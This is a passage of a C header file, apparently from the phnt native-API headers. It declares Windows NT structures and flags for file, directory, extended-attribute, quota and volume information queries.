Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\ntypedef struct _FILE_STANDARD_INFORMATION_EX\n{\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG NumberOfLinks;\n BOOLEAN DeletePending;\n BOOLEAN Directory;\n BOOLEAN AlternateStream;\n BOOLEAN MetadataAttribute;\n} FILE_STANDARD_INFORMATION_EX, *PFILE_STANDARD_INFORMATION_EX;\n\ntypedef struct _FILE_INTERNAL_INFORMATION\n{\n LARGE_INTEGER IndexNumber;\n} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;\n\ntypedef struct _FILE_EA_INFORMATION\n{\n ULONG EaSize;\n} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;\n\ntypedef struct _FILE_ACCESS_INFORMATION\n{\n ACCESS_MASK AccessFlags;\n} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;\n\ntypedef struct _FILE_POSITION_INFORMATION\n{\n LARGE_INTEGER CurrentByteOffset;\n} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;\n\ntypedef struct _FILE_MODE_INFORMATION\n{\n ULONG Mode;\n} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;\n\ntypedef struct _FILE_ALIGNMENT_INFORMATION\n{\n ULONG AlignmentRequirement;\n} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION;\n\ntypedef struct _FILE_NAME_INFORMATION\n{\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;\n\ntypedef struct _FILE_ALL_INFORMATION\n{\n FILE_BASIC_INFORMATION BasicInformation;\n FILE_STANDARD_INFORMATION StandardInformation;\n FILE_INTERNAL_INFORMATION InternalInformation;\n FILE_EA_INFORMATION EaInformation;\n FILE_ACCESS_INFORMATION AccessInformation;\n FILE_POSITION_INFORMATION PositionInformation;\n FILE_MODE_INFORMATION ModeInformation;\n FILE_ALIGNMENT_INFORMATION AlignmentInformation;\n FILE_NAME_INFORMATION NameInformation;\n} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;\n\ntypedef struct _FILE_NETWORK_OPEN_INFORMATION\n{\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG FileAttributes;\n} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;\n\ntypedef struct _FILE_ATTRIBUTE_TAG_INFORMATION\n{\n ULONG FileAttributes;\n ULONG ReparseTag;\n} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;\n\ntypedef struct _FILE_ALLOCATION_INFORMATION\n{\n LARGE_INTEGER AllocationSize;\n} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;\n\ntypedef struct _FILE_COMPRESSION_INFORMATION\n{\n LARGE_INTEGER CompressedFileSize;\n USHORT CompressionFormat;\n UCHAR CompressionUnitShift;\n UCHAR ChunkShift;\n UCHAR ClusterShift;\n UCHAR Reserved[3];\n} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION;\n\ntypedef struct _FILE_DISPOSITION_INFORMATION\n{\n BOOLEAN DeleteFile;\n} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;\n\ntypedef struct _FILE_END_OF_FILE_INFORMATION\n{\n LARGE_INTEGER EndOfFile;\n} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;\n\ntypedef struct _FILE_VALID_DATA_LENGTH_INFORMATION\n{\n LARGE_INTEGER ValidDataLength;\n} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;\n\ntypedef struct _FILE_LINK_INFORMATION\n{\n BOOLEAN ReplaceIfExists;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\n\n#if (PHNT_VERSION >= PHNT_REDSTONE5)\n#define FILE_LINK_REPLACE_IF_EXISTS 0x00000001\n#define FILE_LINK_POSIX_SEMANTICS 0x00000002\n#define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008\n#define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE 0x00000010\n#define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE 0x00000020\n#define FILE_LINK_PRESERVE_AVAILABLE_SPACE 0x00000030\n#define FILE_LINK_IGNORE_READONLY_ATTRIBUTE 0x00000040\n#endif\n\n#if (PHNT_VERSION >= PHNT_19H1)\n#define FILE_LINK_FORCE_RESIZE_TARGET_SR 0x00000080\n#define FILE_LINK_FORCE_RESIZE_SOURCE_SR 0x00000100\n#define FILE_LINK_FORCE_RESIZE_SR 0x00000180\n#endif\n\ntypedef struct _FILE_LINK_INFORMATION_EX\n{\n ULONG Flags;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_LINK_INFORMATION_EX, *PFILE_LINK_INFORMATION_EX;\n\ntypedef struct _FILE_MOVE_CLUSTER_INFORMATION\n{\n ULONG ClusterCount;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION;\n\ntypedef struct _FILE_RENAME_INFORMATION\n{\n BOOLEAN ReplaceIfExists;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n#define FILE_RENAME_REPLACE_IF_EXISTS 0x00000001\n#define FILE_RENAME_POSIX_SEMANTICS 0x00000002\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\n#define FILE_RENAME_SUPPRESS_PIN_STATE_INHERITANCE 0x00000004\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE5)\n#define FILE_RENAME_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008\n#define FILE_RENAME_NO_INCREASE_AVAILABLE_SPACE 0x00000010\n#define FILE_RENAME_NO_DECREASE_AVAILABLE_SPACE 0x00000020\n#define FILE_RENAME_PRESERVE_AVAILABLE_SPACE 0x00000030\n#define FILE_RENAME_IGNORE_READONLY_ATTRIBUTE 0x00000040\n#endif\n\n#if (_WIN32_WINNT >= PHNT_19H1)\n#define FILE_RENAME_FORCE_RESIZE_TARGET_SR 0x00000080\n#define FILE_RENAME_FORCE_RESIZE_SOURCE_SR 0x00000100\n#define FILE_RENAME_FORCE_RESIZE_SR 0x00000180\n#endif\n\ntypedef struct _FILE_RENAME_INFORMATION_EX\n{\n ULONG Flags;\n HANDLE RootDirectory;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_RENAME_INFORMATION_EX, *PFILE_RENAME_INFORMATION_EX;\n\ntypedef struct _FILE_STREAM_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG StreamNameLength;\n LARGE_INTEGER StreamSize;\n LARGE_INTEGER StreamAllocationSize;\n WCHAR StreamName[1];\n} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;\n\ntypedef struct _FILE_TRACKING_INFORMATION\n{\n HANDLE DestinationFile;\n ULONG ObjectInformationLength;\n CHAR ObjectInformation[1];\n} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION;\n\ntypedef struct _FILE_COMPLETION_INFORMATION\n{\n HANDLE Port;\n PVOID Key;\n} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION;\n\ntypedef struct _FILE_PIPE_INFORMATION\n{\n ULONG ReadMode;\n ULONG CompletionMode;\n} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION;\n\ntypedef struct _FILE_PIPE_LOCAL_INFORMATION\n{\n ULONG NamedPipeType;\n ULONG NamedPipeConfiguration;\n ULONG MaximumInstances;\n ULONG CurrentInstances;\n ULONG InboundQuota;\n ULONG ReadDataAvailable;\n ULONG OutboundQuota;\n ULONG WriteQuotaAvailable;\n ULONG NamedPipeState;\n ULONG NamedPipeEnd;\n} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION;\n\ntypedef struct _FILE_PIPE_REMOTE_INFORMATION\n{\n LARGE_INTEGER CollectDataTime;\n ULONG MaximumCollectionCount;\n} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION;\n\ntypedef struct _FILE_MAILSLOT_QUERY_INFORMATION\n{\n ULONG MaximumMessageSize;\n ULONG MailslotQuota;\n ULONG NextMessageSize;\n ULONG MessagesAvailable;\n LARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION;\n\ntypedef struct _FILE_MAILSLOT_SET_INFORMATION\n{\n PLARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION;\n\ntypedef struct _FILE_REPARSE_POINT_INFORMATION\n{\n LONGLONG FileReference;\n ULONG Tag;\n} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION;\n\ntypedef struct _FILE_LINK_ENTRY_INFORMATION\n{\n ULONG NextEntryOffset;\n LONGLONG ParentFileId;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION;\n\ntypedef struct _FILE_LINKS_INFORMATION\n{\n ULONG BytesNeeded;\n ULONG EntriesReturned;\n FILE_LINK_ENTRY_INFORMATION Entry;\n} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION;\n\ntypedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION\n{\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_NETWORK_PHYSICAL_NAME_INFORMATION, *PFILE_NETWORK_PHYSICAL_NAME_INFORMATION;\n\ntypedef struct _FILE_STANDARD_LINK_INFORMATION\n{\n ULONG NumberOfAccessibleLinks;\n ULONG TotalNumberOfLinks;\n BOOLEAN DeletePending;\n BOOLEAN Directory;\n} FILE_STANDARD_LINK_INFORMATION, *PFILE_STANDARD_LINK_INFORMATION;\n\ntypedef struct _FILE_SFIO_RESERVE_INFORMATION\n{\n ULONG RequestsPerPeriod;\n ULONG Period;\n BOOLEAN RetryFailures;\n BOOLEAN Discardable;\n ULONG RequestSize;\n ULONG NumOutstandingRequests;\n} FILE_SFIO_RESERVE_INFORMATION, *PFILE_SFIO_RESERVE_INFORMATION;\n\ntypedef struct _FILE_SFIO_VOLUME_INFORMATION\n{\n ULONG MaximumRequestsPerPeriod;\n ULONG MinimumPeriod;\n ULONG MinimumTransferSize;\n} FILE_SFIO_VOLUME_INFORMATION, *PFILE_SFIO_VOLUME_INFORMATION;\n\ntypedef enum _IO_PRIORITY_HINT\n{\n IoPriorityVeryLow = 0, // Defragging, content indexing and other background I/Os.\n IoPriorityLow, // Prefetching for applications.\n IoPriorityNormal, // Normal I/Os.\n IoPriorityHigh, // Used by filesystems for checkpoint I/O.\n IoPriorityCritical, // Used by memory manager. Not available for applications.\n MaxIoPriorityTypes\n} IO_PRIORITY_HINT;\n\ntypedef struct _FILE_IO_PRIORITY_HINT_INFORMATION\n{\n IO_PRIORITY_HINT PriorityHint;\n} FILE_IO_PRIORITY_HINT_INFORMATION, *PFILE_IO_PRIORITY_HINT_INFORMATION;\n\ntypedef struct _FILE_IO_PRIORITY_HINT_INFORMATION_EX\n{\n IO_PRIORITY_HINT PriorityHint;\n BOOLEAN BoostOutstanding;\n} FILE_IO_PRIORITY_HINT_INFORMATION_EX, *PFILE_IO_PRIORITY_HINT_INFORMATION_EX;\n\n#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1\n#define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2\n#define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO 0x4\n\ntypedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION\n{\n ULONG Flags;\n} FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, *PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION;\n\ntypedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION\n{\n ULONG NumberOfProcessIdsInList;\n ULONG_PTR ProcessIdList[1];\n} FILE_PROCESS_IDS_USING_FILE_INFORMATION, *PFILE_PROCESS_IDS_USING_FILE_INFORMATION;\n\ntypedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION\n{\n BOOLEAN IsRemote;\n} FILE_IS_REMOTE_DEVICE_INFORMATION, *PFILE_IS_REMOTE_DEVICE_INFORMATION;\n\ntypedef struct _FILE_NUMA_NODE_INFORMATION\n{\n USHORT NodeNumber;\n} FILE_NUMA_NODE_INFORMATION, *PFILE_NUMA_NODE_INFORMATION;\n\ntypedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION\n{\n PUCHAR IoStatusBlockRange;\n ULONG Length;\n} FILE_IOSTATUSBLOCK_RANGE_INFORMATION, *PFILE_IOSTATUSBLOCK_RANGE_INFORMATION;\n\ntypedef struct _FILE_REMOTE_PROTOCOL_INFORMATION\n{\n USHORT StructureVersion; // 1\n USHORT StructureSize;\n\n ULONG Protocol; // WNNC_NET_*\n\n USHORT ProtocolMajorVersion;\n USHORT ProtocolMinorVersion;\n USHORT ProtocolRevision;\n\n USHORT Reserved;\n\n // Generic information\n\n ULONG Flags;\n\n struct\n {\n ULONG Reserved[8];\n } GenericReserved;\n\n // Specific information\n\n#if (PHNT_VERSION < PHNT_WIN8)\n struct\n {\n ULONG Reserved[16];\n } ProtocolSpecificReserved;\n#else\n union\n {\n struct\n {\n struct\n {\n ULONG Capabilities;\n } Server;\n struct\n {\n ULONG Capabilities;\n ULONG CachingFlags;\n } Share;\n } Smb2;\n ULONG Reserved[16];\n } ProtocolSpecific;\n#endif\n} FILE_REMOTE_PROTOCOL_INFORMATION, *PFILE_REMOTE_PROTOCOL_INFORMATION;\n\n#define CHECKSUM_ENFORCEMENT_OFF 0x00000001\n\ntypedef struct _FILE_INTEGRITY_STREAM_INFORMATION\n{\n USHORT ChecksumAlgorithm;\n UCHAR ChecksumChunkShift;\n UCHAR ClusterShift;\n ULONG Flags;\n} FILE_INTEGRITY_STREAM_INFORMATION, *PFILE_INTEGRITY_STREAM_INFORMATION;\n\ntypedef struct _FILE_VOLUME_NAME_INFORMATION\n{\n ULONG DeviceNameLength;\n WCHAR DeviceName[1];\n} FILE_VOLUME_NAME_INFORMATION, *PFILE_VOLUME_NAME_INFORMATION;\n\ntypedef struct _FILE_ID_INFORMATION\n{\n ULONGLONG VolumeSerialNumber;\n FILE_ID_128 FileId;\n} FILE_ID_INFORMATION, *PFILE_ID_INFORMATION;\n\ntypedef struct _FILE_ID_EXTD_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n ULONG ReparsePointTag;\n FILE_ID_128 FileId;\n WCHAR FileName[1];\n} FILE_ID_EXTD_DIR_INFORMATION, *PFILE_ID_EXTD_DIR_INFORMATION;\n\ntypedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION\n{\n ULONG NextEntryOffset;\n FILE_ID_128 ParentFileId;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_LINK_ENTRY_FULL_ID_INFORMATION, *PFILE_LINK_ENTRY_FULL_ID_INFORMATION;\n\ntypedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n ULONG ReparsePointTag;\n FILE_ID_128 FileId;\n CCHAR ShortNameLength;\n WCHAR ShortName[12];\n WCHAR FileName[1];\n} FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION;\n\n// private\ntypedef struct _FILE_STAT_INFORMATION\n{\n LARGE_INTEGER FileId;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG FileAttributes;\n ULONG ReparseTag;\n ULONG NumberOfLinks;\n ULONG EffectiveAccess;\n} FILE_STAT_INFORMATION, *PFILE_STAT_INFORMATION;\n\n// private\ntypedef struct _FILE_MEMORY_PARTITION_INFORMATION\n{\n HANDLE OwnerPartitionHandle;\n union\n {\n struct\n {\n UCHAR NoCrossPartitionAccess;\n UCHAR Spare[3];\n };\n ULONG AllFlags;\n } Flags;\n} FILE_MEMORY_PARTITION_INFORMATION, *PFILE_MEMORY_PARTITION_INFORMATION;\n\n// private\ntypedef struct _FILE_STAT_LX_INFORMATION\n{\n LARGE_INTEGER FileId;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG FileAttributes;\n ULONG ReparseTag;\n ULONG NumberOfLinks;\n ULONG EffectiveAccess;\n ULONG LxFlags;\n ULONG LxUid;\n ULONG LxGid;\n ULONG LxMode;\n ULONG LxDeviceIdMajor;\n ULONG LxDeviceIdMinor;\n} FILE_STAT_LX_INFORMATION, *PFILE_STAT_LX_INFORMATION;\n\n// private\ntypedef struct _FILE_CASE_SENSITIVE_INFORMATION\n{\n ULONG Flags;\n} FILE_CASE_SENSITIVE_INFORMATION, *PFILE_CASE_SENSITIVE_INFORMATION;\n\n// NtQueryDirectoryFile types\n\ntypedef struct _FILE_DIRECTORY_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;\n\ntypedef struct _FILE_FULL_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n WCHAR FileName[1];\n} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;\n\ntypedef struct _FILE_ID_FULL_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n LARGE_INTEGER FileId;\n WCHAR FileName[1];\n} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;\n\ntypedef struct _FILE_BOTH_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n CCHAR ShortNameLength;\n WCHAR ShortName[12];\n WCHAR FileName[1];\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\n\ntypedef struct _FILE_ID_BOTH_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n CCHAR ShortNameLength;\n WCHAR ShortName[12];\n LARGE_INTEGER FileId;\n WCHAR FileName[1];\n} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;\n\ntypedef struct _FILE_NAMES_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n ULONG FileNameLength;\n WCHAR FileName[1];\n} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;\n\ntypedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n LARGE_INTEGER FileId;\n GUID LockingTransactionId;\n ULONG TxInfoFlags;\n WCHAR FileName[1];\n} FILE_ID_GLOBAL_TX_DIR_INFORMATION, *PFILE_ID_GLOBAL_TX_DIR_INFORMATION;\n\n#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_WRITELOCKED 0x00000001\n#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_TO_TX 0x00000002\n#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_OUTSIDE_TX 0x00000004\n\ntypedef struct _FILE_OBJECTID_INFORMATION\n{\n LONGLONG FileReference;\n UCHAR ObjectId[16];\n union\n {\n struct\n {\n UCHAR BirthVolumeId[16];\n UCHAR BirthObjectId[16];\n UCHAR DomainId[16];\n };\n UCHAR ExtendedInfo[48];\n };\n} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION;\n\n// NtQueryEaFile/NtSetEaFile types\n\ntypedef struct _FILE_FULL_EA_INFORMATION\n{\n ULONG NextEntryOffset;\n UCHAR Flags;\n UCHAR EaNameLength;\n USHORT EaValueLength;\n CHAR EaName[1];\n} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;\n\ntypedef struct _FILE_GET_EA_INFORMATION\n{\n ULONG NextEntryOffset;\n UCHAR EaNameLength;\n CHAR EaName[1];\n} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;\n\n// NtQueryQuotaInformationFile/NtSetQuotaInformationFile types\n\ntypedef struct _FILE_GET_QUOTA_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG SidLength;\n SID Sid;\n} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION;\n\ntypedef struct _FILE_QUOTA_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG SidLength;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER QuotaUsed;\n LARGE_INTEGER QuotaThreshold;\n LARGE_INTEGER QuotaLimit;\n SID Sid;\n} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION;\n\ntypedef enum _FSINFOCLASS\n{\n FileFsVolumeInformation = 1, // FILE_FS_VOLUME_INFORMATION\n FileFsLabelInformation, // FILE_FS_LABEL_INFORMATION\n FileFsSizeInformation, // FILE_FS_SIZE_INFORMATION\n FileFsDeviceInformation, // FILE_FS_DEVICE_INFORMATION\n FileFsAttributeInformation, // FILE_FS_ATTRIBUTE_INFORMATION\n FileFsControlInformation, // FILE_FS_CONTROL_INFORMATION\n FileFsFullSizeInformation, // FILE_FS_FULL_SIZE_INFORMATION\n FileFsObjectIdInformation, // FILE_FS_OBJECTID_INFORMATION\n FileFsDriverPathInformation, // FILE_FS_DRIVER_PATH_INFORMATION\n FileFsVolumeFlagsInformation, // FILE_FS_VOLUME_FLAGS_INFORMATION // 10\n FileFsSectorSizeInformation, // FILE_FS_SECTOR_SIZE_INFORMATION // since WIN8\n FileFsDataCopyInformation, // FILE_FS_DATA_COPY_INFORMATION\n FileFsMetadataSizeInformation, // FILE_FS_METADATA_SIZE_INFORMATION // since THRESHOLD\n FileFsFullSizeInformationEx, // FILE_FS_FULL_SIZE_INFORMATION_EX // since REDSTONE5\n FileFsMaximumInformation\n} FSINFOCLASS, *PFSINFOCLASS;\n\n// NtQueryVolumeInformation/NtSetVolumeInformation types\n\n// private\ntypedef struct _FILE_FS_VOLUME_INFORMATION\n{\n LARGE_INTEGER VolumeCreationTime;\n ULONG VolumeSerialNumber;\n ULONG VolumeLabelLength;\n BOOLEAN SupportsObjects;\n WCHAR VolumeLabel[1];\n} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_LABEL_INFORMATION\n{\n ULONG VolumeLabelLength;\n WCHAR VolumeLabel[1];\n} FILE_FS_LABEL_INFORMATION, * PFILE_FS_LABEL_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_SIZE_INFORMATION\n{\n LARGE_INTEGER TotalAllocationUnits;\n LARGE_INTEGER AvailableAllocationUnits;\n ULONG SectorsPerAllocationUnit;\n ULONG BytesPerSector;\n} FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_CONTROL_INFORMATION\n{\n LARGE_INTEGER FreeSpaceStartFiltering;\n LARGE_INTEGER FreeSpaceThreshold;\n LARGE_INTEGER FreeSpaceStopFiltering;\n LARGE_INTEGER DefaultQuotaThreshold;\n LARGE_INTEGER DefaultQuotaLimit;\n ULONG FileSystemControlFlags;\n} FILE_FS_CONTROL_INFORMATION, *PFILE_FS_CONTROL_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_FULL_SIZE_INFORMATION\n{\n LARGE_INTEGER TotalAllocationUnits;\n LARGE_INTEGER CallerAvailableAllocationUnits;\n LARGE_INTEGER ActualAvailableAllocationUnits;\n ULONG SectorsPerAllocationUnit;\n ULONG BytesPerSector;\n} FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_OBJECTID_INFORMATION\n{\n UCHAR ObjectId[16];\n UCHAR ExtendedInfo[48];\n} FILE_FS_OBJECTID_INFORMATION, *PFILE_FS_OBJECTID_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_DEVICE_INFORMATION\n{\n DEVICE_TYPE DeviceType;\n ULONG Characteristics;\n} FILE_FS_DEVICE_INFORMATION, *PFILE_FS_DEVICE_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_ATTRIBUTE_INFORMATION\n{\n ULONG FileSystemAttributes;\n LONG MaximumComponentNameLength;\n ULONG FileSystemNameLength;\n WCHAR FileSystemName[1];\n} FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_DRIVER_PATH_INFORMATION\n{\n BOOLEAN DriverInPath;\n ULONG DriverNameLength;\n WCHAR DriverName[1];\n} FILE_FS_DRIVER_PATH_INFORMATION, *PFILE_FS_DRIVER_PATH_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION\n{\n ULONG Flags;\n} FILE_FS_VOLUME_FLAGS_INFORMATION, *PFILE_FS_VOLUME_FLAGS_INFORMATION;\n\n#define SSINFO_FLAGS_ALIGNED_DEVICE 0x00000001\n#define SSINFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 0x00000002\n\n// If set for Sector and Partition fields, alignment is not known.\n#define SSINFO_OFFSET_UNKNOWN 0xffffffff\n\ntypedef struct _FILE_FS_SECTOR_SIZE_INFORMATION\n{\n ULONG LogicalBytesPerSector;\n ULONG PhysicalBytesPerSectorForAtomicity;\n ULONG PhysicalBytesPerSectorForPerformance;\n ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity;\n ULONG Flags;\n ULONG ByteOffsetForSectorAlignment;\n ULONG ByteOffsetForPartitionAlignment;\n} FILE_FS_SECTOR_SIZE_INFORMATION, *PFILE_FS_SECTOR_SIZE_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_DATA_COPY_INFORMATION\n{\n ULONG NumberOfCopies;\n} FILE_FS_DATA_COPY_INFORMATION, *PFILE_FS_DATA_COPY_INFORMATION;\n\n// private\ntypedef struct _FILE_FS_METADATA_SIZE_INFORMATION\n{\n LARGE_INTEGER TotalMetadataAllocationUnits;\n ULONG SectorsPerAllocationUnit;\n ULONG BytesPerSector;\n} FILE_FS_METADATA_SIZE_INFORMATION, *PFILE_FS_METADATA_SIZE_INFORMATION;\n\n// private\ntypedef 